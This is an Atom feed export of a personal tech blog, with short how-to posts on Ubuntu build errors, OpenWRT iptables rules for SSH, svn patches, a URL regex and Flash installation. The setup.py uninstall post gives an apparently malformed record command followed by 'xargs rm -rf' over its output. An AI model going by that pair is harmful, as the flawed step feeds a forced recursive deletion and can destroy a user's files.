<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CEMDQnw7fyp7ImA9WhRaE0Q.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050</id><updated>2012-02-16T03:41:13.207-08:00</updated><category term="arm" /><category term="django filter null value" /><category term="openwrt mmc external media" /><category term="convert vmdk to vmware disk" /><category term="Git Snow Leopard" /><category term="setup mercurial server linux" /><category term="fonts" /><category term="backup mysql mysqldump" /><category term="use django model from scrapy" /><category term="iphone hacks" /><category term="debian mercurial server" /><category term="flash chrome" /><category term="seo tools" /><category term="data migration" /><category term="database design null values" /><category term="prototype event observe keypress problems" /><category term="mmc wrt54gl" /><category term="Google SEO" /><category term="x64 linux nasm ld linker" /><category term="git" /><category term="AI" /><category term="Search engine optimizacion" /><category term="mac os terminal replacement" /><category term="RFC security" /><category term="PCB printing" /><category term="mac os x86 terminal remplace" /><category term="Changing server hostname" /><category term="botnets" /><category term="VNC single click" /><category term="subversionn patch" /><category term="macosx django" /><category term="Eclipse MacOS with JAVA6 64-bit" /><category term="NameError urls.py django" /><category term="diff" /><category term="django" /><category term="commodore 64" /><category term="networking" /><category term="is null is not null" /><category term="the public key is not available" /><category term="SVN repository location change" /><category term="DNS cache windows 7 restart" /><category term="z-index ie7" /><category term="flash player kubuntu linux" /><category term="flash firefox" /><category term="windows-7 freenas nfs" /><category term="php editor with debugger" /><category term="unit testing" /><category term="natty narlwhal" /><category term="kile" /><category term="redmine" /><category term="mysql backup schedule" /><category term="ubuntu" /><category term="susana gimenez" /><category term="X iterm macosx terminal replacement" /><category term="subversion" /><category term="svn" /><category term="php5" /><category term="WPA cracking" /><category term="PIL" /><category term="kernel compilation" /><category term="cryptography" /><category term="seo online tools" /><category term="tomcat" /><category term="Ogre3d tutorial" /><category term="svn delete files" /><category term="update DNS cache windows 7" /><category term="apache2 play mp3" /><category term="ubuntu 11.04 remove unity" /><category term="HgWebDirStepByStep - Mercurial" /><category term="Enum Django" /><category term="gitosis configuration" /><category term="repair bricked wrt54gl" /><category term="CUDA" /><category term="verilog" /><category term="revive wrt54gl" /><category term="windows 7 mount nfs" /><category term="vmware fusion to server" /><category term="symfony foreign key error" /><category term="hg server setup" /><category term="Ogre3d Ubuntu" /><category term="ubuntu linux" /><category term="demoscene" /><category term="django model isnull" /><category term="pcb prototype" /><category term="funny lego hack" /><category term="hackintosh" /><category term="Specifying a mySQL ENUM in a Django model" /><category term="lego printer" /><category term="ubuntu utility" /><category term="merge django scrapy" /><category term="django filter empty" /><category term="wrt54g mmc card mod" /><category term="latex spell checker" /><category term="deb" /><category term="http fordward" /><category term="databases" /><category term="apache2" /><category term="Macosx snow leopard x86" /><category term="internet explorer css z-indes problems" /><category term="jquery" /><category term="Eclipse.app/Contents/Info.plist" /><category term="google search quality team" /><category term="hg server install" /><category term="Ruby" /><category term="timezone openvz" /><category term="Linux" /><category term="server" /><category term="Hardware" /><category term="Microscope lens hack" /><category term="NFS refresh exports" /><category term="ssh ubuntu" /><category term="remove svn directories recursively" /><category term="delete .svn recursive" /><category term="apache2  media streamming" /><category term="dotcloud" /><category term="mysqldump bash script" /><category term="php isnull" /><category term="install mod_security 2.5.12" /><category term="flash player google chrome linux" /><category term="continuous integration" /><category term="ubuntu 11.04" /><category term="SQL" /><category term="html5" /><category term="apache2 mp3 music index" /><category term="subversion delete files" /><category term="iptables forward port" /><category term="batch linux resize images" /><category term="openvz" /><category term="mysql if isnull" /><category term="forward port linux" /><category term="patches" /><category term="python PIL" /><category term="php symfony 1.4 javascript helper" /><category term="Postgre SQL" /><category term="Adsense" /><category term="flash player ubuntu linux" /><category term="squid antivirus" /><category term="css" /><category term="(?)" /><category term="web 2.0" /><category term="Deploying a Git Repository Server" /><category term="python remove" /><category term="performance" /><category term="vim" /><category term="pc games" /><category term="software engineer" /><category term="java packages" /><category term="snort" /><category term="python editor with debugger" /><category term="iptables redirect port" /><category term="linux image resize" /><category term="information theory" /><category term="mysql" /><category term="sql null" /><category term="output file incompatible nasm" /><category term="vmware" /><category term="security" /><category term="fractals" /><category term="ld: i386 architecture of input file  is incompatible with i386:x86-64 output" /><category term="ubuntu 11.03 gnome3" /><category term="django model filter null" /><category term="eclipse jvm exited -1" /><category term="squid 3.0 antivirus" /><category term="regular expression" /><category term="python uninstall" /><category term="Blogger" /><category term="gaming" /><category term="nfs client windows 7" /><category term="port forawrd openwrt" /><category term="oracle" /><category term="zindex ie7" /><category term="web security" /><category term="android" /><category term="recover brick linksys router" /><category term="VNC Server startup script" /><category term="database design" /><category term="openwrt syslog-ng remote logging" /><category term="eclipse macos java 64bit" /><category term="openwrt" /><category term="Subversion Server Change" /><category term="mercurial  server apache2" /><category term="fun" /><category term="LaTex" /><category term="php is?null" /><category term="webapps" /><category term="web design" /><category term="git  debian server" /><category term="Lucky" /><category term="google app engine" /><category term="GSM" /><category term="vnc4server boot" /><category term="php symfony" /><category term="phpundercontrol symfony" /><category term="javascript" /><category term="django project add crawlers" /><category term="apt-get update There is no public key available for the following key IDs" /><category term="subversion change server" /><category term="homemade" /><category term="installing vnc4server in debian" /><category term="openwrt remote syslog" /><category term="mac terminal replacement" /><category term="Robotics" /><category term="ld incompatible nasm" /><category term="sun java" /><category term="iterm iDeneb" /><category term="mssql" /><category term="freak" /><category term="JAVA6 macos eclipse" /><category term="gameboy" /><category term="memory card linksys router" /><category term="Electronics" /><category term="cron mysql backup" /><category term="share internet" /><category term="python" /><category term="mod_passenger" /><category term="linux kernel" /><category term="windows" /><category term="video cards" /><category term="php symfony 1.3 javascript helper" /><category term="eclipse mac JavaVM FATAL: Failed to load the jvm library" /><category term="empathy" /><category term="science" /><category term="vps" /><category term="scope usb avr tiny atmel hid diy" /><category term="arduino" /><category term="mysql sucks" /><category term="windows 7 nfs client" /><category term="fpga" /><category term="Ruby Debian" /><category term="remove svn folders recursively" /><category term="mysqldump shell script" /><category term="php" /><category term="ajax" /><category term="Howto Refresh NFS Exports Without Restarting" /><category term="mysqldump script" /><category term="programming" /><category term="git server" /><category term="The following signatures couldn't be verified because the public key is not available" /><category term="GAE" /><category term="wrt54gl bricked" /><category term="flashplugin" /><category term="heap overflow" /><category term="google tools" /><category term="javascript chrome problems" /><category term="migrate vmware fusion" /><category term="ascii" /><category term="apache proxy reverse" /><category term="css ie style problems" /><category term="debian linux system" /><category term="mysql select is null" /><category term="vnc4server startup" /><category term="python setup" /><category term="appengine" /><category term="SEO" /><category term="Ruby Rails" /><category term="languaje" /><category term="timezone container proxmox" /><category term="Mysql enum" /><category term="migrate vmdx to vmware" /><title>isnull</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.isnull.com.ar/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>248</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/Isnull" /><feedburner:info uri="isnull" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CU4MSXo_eip7ImA9WhRTEUs.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-467566271687866023</id><published>2011-10-18T19:28:00.000-07:00</published><updated>2011-11-01T09:13:08.442-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-01T09:13:08.442-07:00</app:edited><title>Ubuntu 11 : fatal error: libxml/xmlversion.h: No such file or directory</title><content type="html">&lt;pre class="bash" name="code"&gt;ERROR: /bin/sh: xslt-config: not found

** make sure the development packages of libxml2 and libxslt are installed **

Using build configuration of libxslt
In file included from src/lxml/lxml.etree.c:239:0:
src/lxml/etree_defs.h:9:31: fatal error: libxml/xmlversion.h: No such file or directory
compilation terminated.
error: Setup script exited with error: command 'gcc' failed with exit status 1
&lt;/pre&gt;
&lt;pre class="bash" name="code"&gt;
&lt;/pre&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;u&gt;Solution&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;sudo apt-get install libxml2-dev libxslt-dev
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-467566271687866023?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wKsns9BAPO0eTgJ8leYJnIrfv7g/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wKsns9BAPO0eTgJ8leYJnIrfv7g/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wKsns9BAPO0eTgJ8leYJnIrfv7g/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wKsns9BAPO0eTgJ8leYJnIrfv7g/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/BQNvt-HxkEc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/467566271687866023/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=467566271687866023" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/467566271687866023?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/467566271687866023?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/BQNvt-HxkEc/ubuntu-11-fatal-error-libxmlxmlversionh.html" title="Ubuntu 11 : fatal error: libxml/xmlversion.h: No such file or directory" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/10/ubuntu-11-fatal-error-libxmlxmlversionh.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUFSXY5eyp7ImA9WhdbF0Q.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-3242508143971459600</id><published>2011-10-16T12:10:00.000-07:00</published><updated>2011-10-16T12:10:18.823-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-16T12:10:18.823-07:00</app:edited><title>OpenWRT allow remote ssh access</title><content type="html">&lt;br /&gt;
Allow ssh access from port 12345:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;shell&amp;gt;/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j LOG
shell&amp;gt;/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j ACCEPT
&lt;/pre&gt;
To check if it loads properly -&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;shell&amp;gt;/usr/sbin/iptables -L | grep 12345
LOG tcp -- anywhere anywhere tcp dpt:12345 LOG level warning
ACCEPT tcp -- anywhere anywhere tcp dpt:12345
&lt;/pre&gt;
I you want to mantain changes Persistently:&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;shell&amp;gt;nvram set rc_firewall="/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j LOG"
shell&amp;gt;nvram set rc_firewall="/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j ACCEPT"
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-3242508143971459600?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yS2cfrTnAL1ae1yr5nyxK9AqYIs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yS2cfrTnAL1ae1yr5nyxK9AqYIs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yS2cfrTnAL1ae1yr5nyxK9AqYIs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yS2cfrTnAL1ae1yr5nyxK9AqYIs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/YdnSI5-0Wm4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/3242508143971459600/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=3242508143971459600" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/3242508143971459600?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/3242508143971459600?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/YdnSI5-0Wm4/openwrt-allow-remote-ssh-access.html" title="OpenWRT allow remote ssh access" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/10/openwrt-allow-remote-ssh-access.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0INRHk9fyp7ImA9WhdUGEw.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-5821379313325659574</id><published>2011-10-05T05:53:00.000-07:00</published><updated>2011-10-05T05:59:55.767-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-05T05:59:55.767-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="patches" /><category scheme="http://www.blogger.com/atom/ns#" term="subversionn patch" /><category scheme="http://www.blogger.com/atom/ns#" term="subversion" /><category scheme="http://www.blogger.com/atom/ns#" term="diff" /><category scheme="http://www.blogger.com/atom/ns#" term="svn" /><title>Ccreate and apply a patch - Subversion</title><content type="html">&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;This is not recommended way to merge code with svn!&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;What are diff files ?&lt;/b&gt;&lt;br /&gt;
A diff file is the difference between a version of the source code in the repository and a working copy. It represents any changes, such as additional features or bug fixes, that have been made by a developer in a working copy. A diff file is generated using the svn diff command.

To create a patch:

&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;svn diff &amp;gt; svn_patch.diff
&lt;/pre&gt;
To apply the patch

&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;patch -p0 -i svn_patch.diff
&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;wath is patch command?&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
patch  takes  a  patch  file  patchfile  containing a difference listing produced by the diff program and applies those differences to one or more original
       files, producing patched versions.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;what -pX parameter means?&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;-pnum  or  --strip=num
          Strip  the  smallest  prefix  containing num leading slashes from each file name found in the patch file.  A sequence of one or more adjacent slashes is
          counted as a single slash.  This controls how file names found in the patch file are treated, in case you keep your files in a different directory  than
          the person who sent out the patch.  For example, supposing the file name in the patch file was.&lt;br /&gt;
&lt;b&gt;&amp;nbsp;what -i parameter means?&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;-i patchfile  or  --input=patchfile
          Read the patch from patchfile.  If patchfile is -, read from standard input, the default.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-5821379313325659574?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Q6S3WhHrcO7TDl5e7RLn6Y7xsbo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Q6S3WhHrcO7TDl5e7RLn6Y7xsbo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Q6S3WhHrcO7TDl5e7RLn6Y7xsbo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Q6S3WhHrcO7TDl5e7RLn6Y7xsbo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/MTR2g2Igyc0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/5821379313325659574/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=5821379313325659574" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/5821379313325659574?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/5821379313325659574?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/MTR2g2Igyc0/ccreate-and-apply-patch-subversion.html" title="Ccreate and apply a patch - Subversion" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/10/ccreate-and-apply-patch-subversion.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUYARHcyfyp7ImA9WhdSEE8.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-1037577614626551426</id><published>2011-07-18T14:05:00.000-07:00</published><updated>2011-07-18T14:05:45.997-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-18T14:05:45.997-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="python uninstall" /><category scheme="http://www.blogger.com/atom/ns#" term="python setup" /><category scheme="http://www.blogger.com/atom/ns#" term="python remove" /><title>python setup.py howto uninstall (linux)</title><content type="html">&lt;br /&gt;
You need to remove all files manually :(&lt;br /&gt;
Just two commands : &lt;br /&gt;
&lt;pre name="code" class="bash"&gt;python setup.py install files_to_delete
cat files_to_delete | xargs rm -rf
&lt;/pre&gt;&lt;br /&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-1037577614626551426?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jglgd7pu4j0jsF8d7iWR9-hk-8w/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jglgd7pu4j0jsF8d7iWR9-hk-8w/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jglgd7pu4j0jsF8d7iWR9-hk-8w/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jglgd7pu4j0jsF8d7iWR9-hk-8w/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/QmVY2CF_324" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/1037577614626551426/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=1037577614626551426" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/1037577614626551426?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/1037577614626551426?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/QmVY2CF_324/python-setuppy-howto-uninstall-linux.html" title="python setup.py howto uninstall (linux)" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/07/python-setuppy-howto-uninstall-linux.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cMR34zfip7ImA9WhZUFUQ.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-7050745263891312787</id><published>2011-06-08T20:44:00.000-07:00</published><updated>2011-06-08T20:44:46.086-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-08T20:44:46.086-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="regular expression" /><title>URL Regular Expression</title><content type="html">This regular expression matches any internet URLs, very useful!&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;string pattern = @"((https?|ftp|gopher|telnet|file|notes|ms-help):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+\-=\\\.&amp;]*)"
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-7050745263891312787?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GZ7Aafq7lLB5ITNlBC1qZ0Fsg8I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GZ7Aafq7lLB5ITNlBC1qZ0Fsg8I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GZ7Aafq7lLB5ITNlBC1qZ0Fsg8I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GZ7Aafq7lLB5ITNlBC1qZ0Fsg8I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/62j_bLsKKbA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/7050745263891312787/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=7050745263891312787" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/7050745263891312787?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/7050745263891312787?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/62j_bLsKKbA/url-regular-expression.html" title="URL Regular Expression" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/06/url-regular-expression.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcARn07cCp7ImA9WhZUEU8.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-6345522830378512977</id><published>2011-06-03T11:00:00.000-07:00</published><updated>2011-06-03T11:00:47.308-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-03T11:00:47.308-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="flash chrome" /><category scheme="http://www.blogger.com/atom/ns#" term="flash player google chrome linux" /><category scheme="http://www.blogger.com/atom/ns#" term="flashplugin" /><category scheme="http://www.blogger.com/atom/ns#" term="flash firefox" /><title>SOLVED!! Ubuntu 11.04 (Natty Narwhal)  64bits and flash problems</title><content type="html">Download flash player 64bits beta for linux from here :&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://labs.adobe.com/downloads/flashplayer10_square.html"&gt;Adobe Labs Download&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Quick link :&lt;a href="http://draft.blogger.com/Download%20plug-in%20for%2064-bit%20Linux%20(TAR.GZ,%204.1%20MB)"&gt; Download plug-in for 64-bit Linux&lt;/a&gt; (TAR.GZ, 4.1 MB)&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;tar -xvzf flashplayer10_2_p3_64bit_linux_111710.tar.gz
sudo cp libflashplayer.so /usr/lib/mozilla/plugins/
&lt;/pre&gt;&lt;br /&gt;
if in firefox dont works, try to check plugins at tools-&amp;gt;add-ons, then plugins. I had two flash plugins, after disabling the old one flash was working!&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-0RKANyfuCH8/TekhQk5g9VI/AAAAAAAAAfs/Qk9vXzJizP8/s1600/old_flashplugin_disabled.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://2.bp.blogspot.com/-0RKANyfuCH8/TekhQk5g9VI/AAAAAAAAAfs/Qk9vXzJizP8/s640/old_flashplugin_disabled.jpeg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
for chromium &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;sudo cp libflashplayer.so /usr/lib/chromium-browser/plugins
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-6345522830378512977?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-712tk0DRQNxajMq7rcnLzi2KQQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-712tk0DRQNxajMq7rcnLzi2KQQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-712tk0DRQNxajMq7rcnLzi2KQQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-712tk0DRQNxajMq7rcnLzi2KQQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/tqPoV-ivPwY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/6345522830378512977/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=6345522830378512977" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/6345522830378512977?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/6345522830378512977?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/tqPoV-ivPwY/solved-ubuntu-1104-natty-narwhal-64bits.html" title="SOLVED!! Ubuntu 11.04 (Natty Narwhal)  64bits and flash problems" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-0RKANyfuCH8/TekhQk5g9VI/AAAAAAAAAfs/Qk9vXzJizP8/s72-c/old_flashplugin_disabled.jpeg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/06/solved-ubuntu-1104-natty-narwhal-64bits.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UFQnY8eip7ImA9WhZVGUg.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-7834464987419392726</id><published>2011-05-26T18:27:00.000-07:00</published><updated>2011-06-01T12:06:53.872-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-01T12:06:53.872-07:00</app:edited><category 